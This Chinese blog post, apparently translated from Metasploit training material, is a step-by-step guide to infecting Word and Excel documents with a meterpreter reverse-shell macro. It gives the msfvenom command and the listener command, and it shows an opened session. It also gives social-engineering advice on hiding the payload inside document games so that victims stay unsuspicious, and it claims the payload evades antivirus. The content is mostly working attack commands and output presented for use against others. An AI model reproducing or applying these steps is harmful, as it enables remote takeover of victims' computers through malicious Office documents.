不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

VBSCRIPT感染方法

Metasploit有两种内置方法,可用于感染带有恶意Metasploit有效负载的Word和Excel文档。您还可以使用自己的自定义有效负载。它不一定需要是Metasploit有效负载。在进行客户端攻击时,此方法很有用;如果您必须绕过某种不允许可执行文件且仅允许文档通过的过滤,则此方法也很有用。首先,我们首先需要创建我们的VBScript有效负载。

root@kali: # msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe           
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
'**************************************************************
'*
'* This code is now split into two pieces:
'*  1. The Macro. This must be copied into the Office document
'*     macro editor. This macro will run on startup.
'*
'*  2. The Data. The hex dump at the end of this output must be
'*     appended to the end of the document contents.
'*
...snip...

如输出消息所示,脚本分为两部分。脚本的第一部分被创建为宏,第二部分被附加到文档文本本身。您将需要将此脚本转移到装有Windows和Office的计算机上,然后执行以下操作:

Word/Excel 2003: Tools -> Macros -> Visual Basic Editor
Word/Excel 2007: View Macros -> then place a name like "moo" and select "create".

这将打开可视化基本编辑器。将负载脚本的第一部分的输出粘贴到编辑器中,然后将脚本的其余部分粘贴到word文档本身中。在这种情况下,通过将此Word文档发送给某人来执行客户端攻击。

为了降低用户的怀疑度,请尝试将代码嵌入到Internet上提供的许多Word / Excel游戏之一中。这样,当您在后台工作时,用户可以愉快地玩游戏。如果您使用Meterpreter作为有效负载,这将给您额外的时间来迁移到另一个进程。

在这里,我们为宏指定了通用名称。

在将恶意文档发送给受害者之前,我们首先需要设置Metasploit侦听器。

root@kali:# msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.101; set LPORT 8080; run; exit -y"

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v4.11.4-2015071402                   ]
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post        ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops             ]

PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.101
LPORT => 8080
[*] Started reverse handler on 192.168.1.101:8080 
[*] Starting the payload handler...

现在,我们可以通过打开文档来测试文档,然后返回到拥有Metasploit exploit / multi / handler侦听器的位置:

[*] Sending stage (749056 bytes) to 192.168.1.150
[*] Meterpreter session 1 opened (192.168.1.101:8080 -> 192.168.1.150:52465) at Thu Nov 25 16:54:29 -0700 2010

meterpreter > sysinfo
Computer: XEN-WIN7-PROD
OS      : Windows 7 (Build 7600, ).
Arch    : x64 (Current Process is WOW64)
Language: en_US
meterpreter > getuid
Server username: xen-win7-prod\dookie
meterpreter >

成功!我们在打开文档的系统上拥有一个Meterpreter外壳,而最重要的是,它不会被防病毒程序感染!!!

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » VBSCRIPT感染方法

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏